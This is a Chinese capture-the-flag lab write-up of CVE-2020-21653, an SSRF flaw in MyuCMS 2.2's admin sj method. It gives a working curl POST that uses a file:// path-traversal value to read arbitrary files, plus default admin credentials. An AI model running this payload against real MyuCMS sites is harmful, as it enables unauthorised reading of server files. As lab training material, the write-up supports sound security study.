CVE-2020-21653(春秋云境 )
更新时间-2024/4/19
靶标介绍:
MyuCMS开源内容管理系统,采用ThinkPHP开发而成的社区商城聚合,插件,模板,轻便快捷容易扩展 其2.2版本中admin.php/index/sj方法存在SSRF漏洞, 可造成任意文件读取。
账号和密码(非主要介绍)
账号:admin 密码:admin 口令:123456
具体步骤
按照提示我们来到对应实例的/admin/index/sj路劲下,会发现有一个 未定义数组索引: title的报错提醒。图示如下
分析此段代码逻辑,还是很通俗易懂的。从post请求中接收一个title参数,然后转码后给url变量,保存在save_dir对应的路径下,即'runtime/myucms/',并将其命名为shengji.zip,如果成功则返回状态码200并提示升级成功。 通过以上分析就很容易完成了以下操作。
使用curl发送post请求
curl -X POST -d "title=file:///../../../../../flag" -b "_ga=GA1.2.1987302754.1711436925; _ga_J1DQF09WZC=GS1.2.1711436926.1.0.1711436926.0.0.0; PHPSESSID=og3u5v106nboe92d3053j0suvu" http://eci-2ze0upmwz146kc1p0o2f.cloudeci1.ichunqiu.com/admin/index/sj
curl,全称CommandLine URL 或 CommandLine Uniform Resource Locator,顾名思义,curl命令是在命令行方式下工作,利用URL的语法进行数据的传输或者文件的传输。 我们可以通过-X和-b分别只当请求方式为post和自己的cookie(完成身份验证),-d用于构造参数。成功发送后就会接收到以下返回。
{"code":200,"msg":"升级成功"}
这时候我们再到实例对应的路径 实例路径/runtime/myucms/shengji.zip下载此文件,如果不指定文件名称,则会提示权限不够。
最后,通过vim或者将文件的后缀改为txt等等方法即可查看获得的flag了。